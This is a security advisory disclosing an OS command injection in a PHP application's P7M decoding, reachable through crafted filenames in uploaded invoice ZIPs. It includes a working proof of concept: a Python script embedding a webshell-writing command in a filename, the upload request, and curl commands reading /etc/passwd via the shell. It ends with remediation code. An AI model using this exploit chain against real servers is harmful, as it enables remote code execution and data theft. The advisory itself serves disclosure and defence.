GHSA-25fp-8w8p-mx36

## Summary A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.

## Vulnerable Code **File:** `src/Util/XML.php:100`

```php public static function decodeP7M($file) { $directory = pathinfo($file, PATHINFO_DIRNAME); $content = file_get_contents($file);

$output_file = $directory.'/'.basename($file, '.p7m');

try { if (function_exists('exec')) { // VULNERABLE - No input sanitization! exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd); ```

**The Problem:** - The `$file` parameter is passed directly into `exec()` without sanitization - Although wrapped in double quotes, an attacker can escape them - The filename comes from uploaded ZIP archives (user-controlled)

## Attack Vector

### Entry Points: 1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled) ```php foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP! ```

2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor) ```php if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input! ```

### Attack Flow: 1. Attacker creates ZIP with malicious filename 2. Upload ZIP via importFE_ZIP plugin 3. Application extracts ZIP and iterates files 4. For `.p7m` files, `decodeP7M()` is called 5. Malicious filename is injected into `exec()` command 6. Arbitrary command executes as web server user

## Proof of Concept

**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.

### Step 1: Create Malicious ZIP

```python import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php" malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf: zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT") ```

### Step 2: Upload ZIP

```http POST /actions.php HTTP/1.1 Host: localhost:8081 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="blob1"; filename="exploit.zip" Content-Type: application/zip

[ZIP CONTENT] ------WebKitFormBoundaryBKunENXxjEx5VrRc-- Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_module"

14 ------WebKitFormBoundaryBKunENXxjEx5VrRc Content-Disposition: form-data; name="id_plugin"

48 ------WebKitFormBoundaryBKunENXxjEx5VrRc-- ``` <img width="2539" height="809" alt="image" src="https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1" />

<img width="1543" height="659" alt="image" src="https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be" />

### Step 3: Exploitation Result

**Response (500 error is expected - XML parsing fails AFTER command execution):** ```http HTTP/1.1 500 Internal Server Error {"error":{"type":"Exception","message":"Start tag expected, '<' not found"}} ```

**Verification - Webshell Created:**

<img width="1111" height="239" alt="image" src="https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1" />

### Step 4: Remote Code Execution

**Webshell is publicly accessible without authentication:**

```bash $ curl "http://localhost:8081/files/SHELL.php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd" [Full /etc/passwd output] ``` <img width="698" height="475" alt="image" src="https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d" />

## Impact

- **Remote Code Execution:** Full server compromise - **Data Exfiltration:** Access to all application data and database - **Privilege Escalation:** Potential escalation if web server runs with elevated privileges - **Persistence:** Install backdoors and maintain access - **Lateral Movement:** Pivot to other systems on the network

## Prerequisites

- Authenticated user with access to invoice import functionality

## Remediation

### Input Sanitization

```php public static function decodeP7M($file) { // Validate that file path doesn't contain shell metacharacters if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) { throw new \Exception('Invalid file path'); }

// Better: use escapeshellarg() $safe_file = escapeshellarg($file); $safe_output = escapeshellarg($output_file);

exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd); } ``` or

### Validate Filename Before Processing

```php // In the upload handler, validate filenames from ZIP foreach ($files_xml as $xml) { // Only allow alphanumeric, dots, dashes, underscores if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) { continue; // Skip invalid filenames }

if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); } } ```

## Credit Discovered by: Łukasz Rybak